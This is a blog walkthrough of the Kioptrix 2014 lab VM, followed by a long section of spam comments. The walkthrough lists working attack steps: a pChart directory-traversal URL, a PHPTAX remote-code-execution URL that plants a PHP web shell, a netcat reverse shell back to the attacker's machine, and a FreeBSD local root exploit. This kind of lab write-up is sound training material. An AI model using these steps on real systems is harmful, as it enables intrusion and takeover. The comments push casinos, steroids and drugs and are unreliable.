When we boot up our Kioptrix2014 VM, we don’t know the IP address of it. So let’s use netdiscover to see if we can find it. First we need to know our IP address, so do ifconfig
Mine is 192.168.226.137, so we’ll want to scan the range of 192.168.226.0/24

Type netdiscover -r 192.168.226.0/24 and see if any new IP’s are added. In this instance, the .136 is probably our target machine.

Next, let’s do a Nmap scan to see what ports and services might be running on this machine. Type nmap -A -sV <target IP>
- -A for OS detection
- -sV for version scan
We see that ports 22, 80, and 8080 are open on this box.

Anytime we see port 80 open, it’s always a good idea to open up a web browser and navigate to the IP. In this case, a page is loaded but with no information.

Port 22 is SSH, which could be used for several things. We’ll dig into it later. But we might not know off the top of our head what port 8080 is for, so let’s Google it.

So, it looks like it’s also used for some website stuff. Let’s see if we can navigate to it in our browser by typing <ipaddress>:8080

So it’s up, but we can’t talk to it. So we need to dig a little more. We can use a tool called dirbuster in an attempt to discover (enumerate) any hidden directories. So from our Kali terminal type dirb http://<ipaddress>

Navigating to the /cgi-bin/ directory in the browser wasn’t helpful. So let’s dig more.
Let’s see if there’s any vulnerabilities on the website using Nikto. From our Kali terminal type nikto -h 192.168.226.136
There’s a few vulnerabilities here, but further exploration of them proves it’s just a rabbit hole (I’ll put these walkthroughs in later).

Let’s focus on the webpage for now. Navigating back to 192.168.226.136 Right Click on the webpage, and then click View Page Source.


We see this pChart2.1.3/index.php link. So, first let’s see if we can navigate to it.

When we navigate to the link it adds /examples/ to the URL and brings us to a page. But there isn’t much here we can work with. So, let’s google pChart2.1.3 and see what comes up. The very first link points us to Exploit-db.com and some vulnerabilities listed there.


The Exploit-db.com page tells us it’s vulnerable to Directory Traversal. Directory Traversal is when you can navigate around restricted parts of a website you shouldn’t normally be able to hit, and often you can even execute commands to run on that website. If we continue reading the webpage, it tells us exactly how to carry out this type of attack.

So we need to update our URL with the /examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd part from the webpage. So our URL should look like this:
http://192.168.226.136/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd

What happened here is the Directory Traversal attack is showing us the /etc/passwd directory on the Linux machine. So that means we can probably traverse other directories on the Linux machine. The reason we want to do this is learn more about this machine, and if there’s ways to potentially compromise it. So let’s update our URL to the http.configuration file, and maybe we can see what’s going on with port 8080. Thus, we replace the /etc/passwd part in our URL with /usr/local/etc/apache22/httpd.conf so our whole URL looks like.
http://192.168.226.136/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2f/usr/local/etc/apache22/httpd.conf

If we do a search within that page for 8080 we come across two entries, one of which shows this:

So, this is saying if the version of the Mozilla browser is 4.0, the user can have access to whatever is over port 8080. So let’s configure our browser to pretend it’s version 4.0. Some more information on how to change that setting can be found here.
From your Firefox address bar, type about:config

Go ahead and accept the risk.
From this page, right click anywhere on the page, select New, and then String.

For the name, put general.useragent.override and then the value put Mozilla/4.0 (X11; Linux x86_64; rv:10.0) Gecko/20100101 Firefox/10.0.
Now that’s changed, let’s try navigating to 192.168.226.136:8080 again and see what we get into:

Awesome, if we get to this page and then click on the link, we get directed to the PHPTAX web application.

A quick Google search of that application leads us to this link: https://www.exploit-db.com/exploits/21665
This is a remote code execution vulnerability, and in this case we can modify the URL to get it to do certain things. The exploit on the link above has the URL creating a NetCat link, but I couldn’t get it to work, but after a bit of research on remote code execution in PHP, I found this: https://www.exploit-db.com/exploits/25849/
Thus, our updated URL to start our shell is: http://192.168.226.136:8080/phptax/index.php?pfilez=xxx;echo%20%22%3C%3Fphp%20system(\$_GET[%27cmd%27]);%20%3F%3E%22%20%3E%20shell.php&pdf=make
This creates a file called rce.php with the one-line shell: <?php passthru($_GET[cmd]);?> which uses the passthru function to pass parameters from the URL. So now, we should be able to execute commands by navigating to the following address: http://192.168.226.136:8080/phptax/data/rce.php?cmd=ls

We can see when we run this command, we get a listing of the directory (From the ls at the end of the URL). That’s a step in the right direction.
If we can execute Linux commands on the target machine via the browser, perhaps we can create our reverse shell.
Pentest Monkey has a PHP reverse shell file that will, if we can get it on our target box, create our reverse shell. Information on the file can be found here: http://pentestmonkey.net/tools/web-shells/php-reverse-shell
Start by downloading the .PHP (I renamed my to PTM.php) and then edit it in your text editor of choice. What we want to do is modify the $ip and $port to our Kali Linux machine’s IP and the port we’re going to be listening in on:

Once we have the file modified, we need to setup a NetCat listener to send the PTM.php file to our target machine when our Kali machine receives a connection from NetCat. So, from terminal in our Kali box navigate to where the PTM.php file is, and then type the following: nc-lvp 1234 < PTM.php

Now, from our web browser we can execute the NetCat command and have it pull the PTM.php file to the target machine from our Kali machine. The command we’re going to want to run is nc 192.168.226.137 1234 > PTM.php
Let’s use our URL Decoder/Encoder to Encode our command so the browser can understand it.


So our full URL should look like this: http://192.168.226.136:8080/phptax/data/rce.php?cmd=nc%20192.168.226.137%201234%3E%20PTM.php
When we execute it, nothing exciting happens:

But when we change our command to LS we should see our uploaded file.

We can further confirm that it’s there by catting the file and we should see some code: http://192.168.226.136:8080/phptax/data/rce.php?cmd=cat%20PTM.php
We can also see that our NetCat listener on our Kali box had something interact with it:

The file is on the server, great! Now we need to setup a separate NetCat listener to listen for the reverse shell when we navigate to the PTM.php page. So from a terminal window on your Kali box type nc -lvp 1234

Now, when we navigate to PTM.php in our browser we should have a connection back to our Kali box.

When we check our terminal on Kali, we should have a shell!

Typing uname -a tells us what version of the Kernel we have is FreeBSD 9.0 release.

We can google FreeBSD 9.0 exploit and come across another link on Exploit-DB.com which leads us to here: https://www.exploit-db.com/exploits/28718

So navigate to that link, and then download the Exploit to your Kali box.


They don’t give us a ton of info on the exploit, but the idea is we want to get the file onto the Linux machine, compile it, and then execute it. We can use something similar to our NetCat method earlier, but it should be easier now that we have a shell (aka, we can run commands directly on the target machine rather than having to use the browser we were using earlier).
So, from our shell in Terminal, type cd tmp and then pwd to verify we’re in the tmp directory.

So what we need to do is setup NetCat on our Kali machine so that when NetCat detects a connection, it pushes the 28718.c exploit to our target machine. So from Kali, navigate to where you downloaded 28718.c and type netcat -lvp 7777 < 28718.c
- Note: we want to use a different port this time because we’re using port 1234 to maintain our shell.

Now, from our terminal shell window (on our recently exploited machine), setup NetCat to grab the file: nc 192.168.226.137 > 28718.c

Now, when I typed this I didn’t get any kind of confirmation message, it looked like the terminal window just locked up. When I checked my Listener to send the file, it looks like it went:

So I Ctrl + C to get out of the session, setup the NetCat listener again, navigated back to the PTM.php page, and re-established my shell. When I navigated back to /tmp on the target machine, and did ls I could see my file. I catted it to make sure there was info in it:

Now we need to compile it. All Linux boxes have a built in C compiler, so we can compile it with the following: gcc 28718.c -o 28718

We see the file got created, so now we need to run it: ./28718
Once we’ve run it, and do whoami we see we have root!

Navigate to the root directory, do ls and we can see that we see the flag.

trayci
2trnsTe33iB12ImGkTD6dknJJHd
Pretty! This was a really wonderful post. Thank you for your provided information.
Some really rattling work on behalf of the owner of this internet site, utterly outstanding articles.
me encantei com este site. Para saber mais detalhes acesse o site e descubra mais. Todas as informações contidas são conteúdos relevantes e exclusivos. Tudo que você precisa saber está ta lá.
amei este site. Pra saber mais detalhes acesse o site e descubra mais. Todas as informações contidas são conteúdos relevantes e exclusivas. Tudo que você precisa saber está ta lá.
Wow! This can be one particular of the most beneficial blogs We’ve ever arrive across on this subject. Actually Magnificent. I’m also an expert in this topic so I can understand your effort.
What i don’t realize is actually how you’re not actually much more well-liked than you may be right now. You are very intelligent. You realize thus significantly relating to this subject, made me personally consider it from numerous varied angles. Its like men and women aren’t fascinated unless it is one thing to do with Lady gaga! Your own stuffs nice. Always maintain it up!
Hi there! This post couldn’t be written any better! Reading through this post reminds me of my previous room mate! He always kept talking about this. I will forward this article to him. Pretty sure he will have a good read. Thank you for sharing!
Great website! I am loving it!! Will be back later to read some more. I am taking your feeds also.
I got what you mean ,saved to fav, very decent internet site.
After I initially commented I clicked the -Notify me when new feedback are added- checkbox and now every time a comment is added I get 4 emails with the identical comment. Is there any manner you can take away me from that service? Thanks!
Terrific paintings! That is the type of info that are supposed to be shared across the internet. Disgrace on Google for now not positioning this submit upper! Come on over and discuss with my website . Thank you =)
amei este site. Para saber mais detalhes acesse o site e descubra mais. Todas as informações contidas são informações relevantes e exclusivas. Tudo que você precisa saber está ta lá.
Do you mind if I quote a few of your posts as long as I provide credit and sources back to your weblog? My blog is in the exact same area of interest as yours and my users would genuinely benefit from a lot of the information you present here. Please let me know if this okay with you. Regards!
Some truly fantastic information, Gladiola I noticed this.
Hello there! Do you use Twitter? I’d like to follow you if that would be ok. I’m undoubtedly enjoying your blog and look forward to new updates.
Good info. Lucky me I reach on your website by accident, I bookmarked it.
Keep up the superb work, I read few blog posts on this website and I conceive that your blog is very interesting and has got sets of excellent information.
Some genuinely nice stuff on this website , I love it.
Nice post. I study one thing more difficult on totally different blogs everyday. It should all the time be stimulating to learn content from different writers and follow slightly one thing from their store. I’d choose to make use of some with the content on my weblog whether or not you don’t mind. Natually I’ll give you a link on your net blog. Thanks for sharing.
cem7a8
awesome
awesome
awesome
awesome
Terrific work! This is the type of info that should be shared around the web. Shame on Google for not positioning this post higher! Come on over and visit my site . Thanks =)
I do consider all the concepts you have introduced to your post. They are very convincing and will definitely work. Nonetheless, the posts are too short for beginners. May just you please lengthen them a little from subsequent time? Thank you for the post.
I’m so happy to read this. This is the type of manual that needs to be given and not the accidental misinformation that’s at the other blogs. Appreciate your sharing this greatest doc.
I loved as much as you will obtain carried out right here. The comic strip is tasteful, your authored material stylish. however, you command get got an edginess over that you wish be handing over the following. ill certainly come further formerly once more as precisely the same just about a lot steadily within case you protect this hike.
Super-Duper website! I am loving it!! Will be back later to read some more. I am taking your feeds also
Hiya, I am really glad I’ve found this info. Today bloggers publish just about gossips and internet and this is actually irritating. A good website with interesting content, that’s what I need. Thank you for keeping this website, I’ll be visiting it. Do you do newsletters? Cant find it.
ml0gdo
Very efficiently written story. It will be valuable to anybody who usess it, including myself. Keep up the good work – looking forward to more posts.
It¦s in reality a great and useful piece of info. I am happy that you just shared this useful info with us. Please keep us up to date like this. Thanks for sharing.
I am thankful that I noticed this blog, exactly the right info that I was looking for! .
Hey there, You have done a great job. I’ll certainly digg it and personally recommend to my friends. I am sure they will be benefited from this web site.
betonline horse racingjunk casino top 10 online casino online live
Ignite excite plays fervent and competitions heated leagues via passions. In ignation casino, prizes to passion. Ignite and inspire!
Dive into the spectacular world of online gaming where endless fun awaits. Bovada Craps offers top table games and tournament entries for all players. With Bovada, enjoy amazing wins and secure, reliable entertainment every day!
Big Bass Bonanza — cast, spin, win big! Free spins Big Bass series Bigger Bass feature is where legends are made.
Thank you for helping out, wonderful info. “Nobody can be exactly like me. Sometimes even I have trouble doing it.” by Tallulah Bankhead.
Gates of Olympus is the slot equivalent of divine intervention. One Zeus move can rewrite your entire session. Open gatesofolympusgm.org and pray for lightning.
sugarrushslotx = maximum sweetness! Enjoy tumbling reels, adorable candy symbols and multipliers that can reach x5000. Your jackpot is calling!
luckyland slots games: The social casino that pays out! Get started with 7,777 free Gold Coins and 10 Sweeps Coins today. Play premium games and redeem Sweeps for real money!
stake online casino real money Originals are — Crash, Plinko, Mines, Dice and more. Combine them with the best slots and live dealers online. Your next big win is one click away.
big wins waiting at your feet delivers the best online casino experience. New players receive up to $1,000 bonus and $25 On The House. Enjoy flawless mobile play and daily promotions that keep the wins coming.
casino vector
References:
http://www.retecommercialesanvitese.it/portfolio/bar-il-castagneto-di-gabriella-ingiosi-augusto
before and after steroid pics
References:
rentry.co
Zdravy rozum vitezi: stejny ucinek za zlomek ceny
Xenical cena
Prenez les devants avec notre selection prevention. Vitamines, mineraux et tests de diagnostic a faire chez soi. Anticipez les petits maux de l’hiver grace a nos packs speciaux. Votre capital sante se construit aussi en ligne.Acheter rocaltrol
Join the millions friendly momentous on fanduel casino Kentucky – the #1 real pelf casino app in America.
Reach your $1000 TEASE IT AGAIN hand-out and refashion every relate, хэнд and roll into bona fide banknotes rewards.
Fast payouts, whopping jackpots, and day in fight – download FanDuel Casino in these times and start playing like a pro today!
blackjack strategy chart
References:
latribumerengue.com
FanDuel Casino is America’s #1 online casino, delivering direct thrills with ignition casino review , upper-class slots like Huff N’ Puff, and last retailer force normal at your fingertips. Mod players stir 500 Bonus Spins together with $40 in Casino Perk upstanding for depositing $10—added up to $1,000 disown on first-day reticle losses. Province all Thrillionaires: be adjacent to for the nonce, play your nature, and turn every interest into epic wins!
online casino schweiz
References:
lejourguinee.com
References:
Casino online argentina
References:
en.najumary.or.kr
slot poker
References:
kanban.xsitepool.tu-freiberg.de
Betano Casino https://betanogame.org/sv/ är din lyckobringare. Ta 100% upp till €500 bonus och dyk in i live gaming-action. Börja snurra och vinna direkt.
References:
Santa claran casino
References:
https://justbookmark.win/story.php?title=casino-diamond-vip-bonus-codes-for-all-us-players
Epic games. Epic odds. Epic you — at Betano. https://tikitakagm.org/fi/promo-code/ Betano: premium slots, live tables, and payouts that don’t keep you waiting.
Z Mostbet wygrywasz od pierwszej minuty – 200% + 250 FS. https://mostbetxpl.ink/wplaty-wyplaty/ Mostbet daje Ci 125% + 270 spinów – zarejestruj się.
References:
Fouseytube steroids
References:
http://62.234.26.18:3000/suzettemelanco/6281408/wiki/Buy+Online+British+Dispensary
Jogue no Mostbet e descubra por que tantos brasileiros escolhem este cassino – https://mostbetpt.pro/ , Mostbet – o cassino online que sabe como surpreender e recompensar seus jogadores .
Every reel turn whispers your name louder than luck itself – https://buyclarinesx.com , Turn the night into pure adrenaline — start winning today .
Have you ever considered creating an ebook or guest authoring on other blogs? I have a blog centered on the same topics you discuss and would really like to have you share some stories/information. I know my subscribers would value your work. If you are even remotely interested, feel free to send me an email.
References:
Route 66 casino albuquerque
References:
https://argrathi.stars.ne.jp:443/pukiwiki/index.php?hermansehested306869
References:
How long does dmaa stay in your system
References:
https://www.grenzlandgruen.de/Blog;focus=TKOMSI_com_cm4all_wdn_Flatpress_22892279&path=&frame=TKOMSI_com_cm4all_wdn_Flatpress_22892279?x=entry:entry240621-233311%3Bcomments:1
References:
Steroids street name
References:
http://47.103.48.2:3002/bennybuss24359
References:
Best supplements for bodybuilding without side effects
References:
https://gitea.lasallesaintdenis.com/vqfdedra555937
References:
Hormone vs steroid
References:
http://38.76.202.113:3000/joshpike736328
References:
Tren capsules
References:
https://music.1mm.hk/richbeam398731
References:
Buy legit steroids
References:
http://47.108.156.251:3000/darinwheeler6/2547981/wiki/Whoop-Strap-3-0-Review%C2%A02026
Hi, all is going nicely here and ofcourse every one is sharing information, that’s in fact
fine, keep up writing.
References:
http://adrestyt.ru/user/offervinyl9/
References:
Instant Casino Login
References:
https://a-taxi.com.ua/user/harpquartz5/
References:
Instant Casino Login vergessen
References:
https://sibze.ru/index.php?subaction=userinfo&user=flagguilty7
References:
Instant Casino Jackpot Spiele
References:
https://topbookmarks.xyz/item/483037
References:
Structure and function of steroids
References:
https://cooper-blankenship-3.technetbloggers.de/clenbuterol-online-kaufen-in-deutschland-gunstiger-preis-fur-ab-24-00-bei-athletepharma
References:
Rushmore casino
References:
https://dreevoo.com/profile.php?pid=1431327
References:
Anabolic research reviews
References:
https://cyprusjobs.com.cy/companies/omnitrope-injection/
sex doll あなたは永遠にそれらを必要とするでしょうそしてこれがあなたが会社のためにセックス人形を持っているべき理由です
Des mГ©dicaments, des conseils et un sourire : bienvenue dans notre pharmacie – https://www.pharmacie-odeon-saint-joseph.com/mentions-legales/ , DГ©couvrez notre pharmacie : un espace dГ©diГ© Г votre forme et vitalitГ© .
hgh steroid cycles
References:
https://md.chaosdorf.de/s/enMrAVssdk
you have a great blog here! would you like to make some invite posts on my blog?
References:
Paddy power casino
References:
https://etuitionking.net/forums/users/jambelief2/
4u93az
1xe7xn
References:
Ultimate texas hold em online
References:
https://graph.org/Level-Up-Your-Game-The-Ultimate-Guide-to-Level-Up-Casino-04-20
yil24u
Magnificent site. Lots of useful info here. I am sending it to a few pals ans additionally sharing in delicious. And of course, thanks to your sweat!
Excellent post. I was checking continuously this blog and I’m impressed! Very helpful info particularly the last part 🙂 I care for such info much. I was looking for this certain info for a long time. Thank you and good luck.
I genuinely enjoy studying on this internet site, it contains excellent articles. “You should pray for a sound mind in a sound body.” by Juvenal.
References:
Branson mo casinos
References:
https://casino-winner-casino.online-spielhallen.de/
References:
Recklinghausen
References:
https://bestes-krypto-casino.online-spielhallen.de/
x4cf8s
References:
Udbetalingsprocent på danske sider
References:
https://globalhospitalitycareer.com/employers/bedste-online-casino-i-april-2026-se-betxperts-ratings/
Important discussion on healthcare disparities in minority populations. – https://www.borgonavile.it/wellness_und_medizin/therapien/klinik_fuer_manuelle_therapie.html , This study demonstrates the value of multidisciplinary tumor boards in improving cancer care quality. .
Artificial intelligence in mental health screening shows promise but needs rigorous validation. – https://www.siteprice.org/competitors/hospital-abc.de , Balanced and evidence-based commentary on hormone replacement therapy risks and benefits. .
This review of pediatric vaccination schedules is clear and helpful for primary care providers. – http://www.tiefenpsychologisch-fundierte-psychotherapie.de/Links_A/links_a.html , This review correctly emphasizes the importance of bone health in cancer patients. .
6nlym9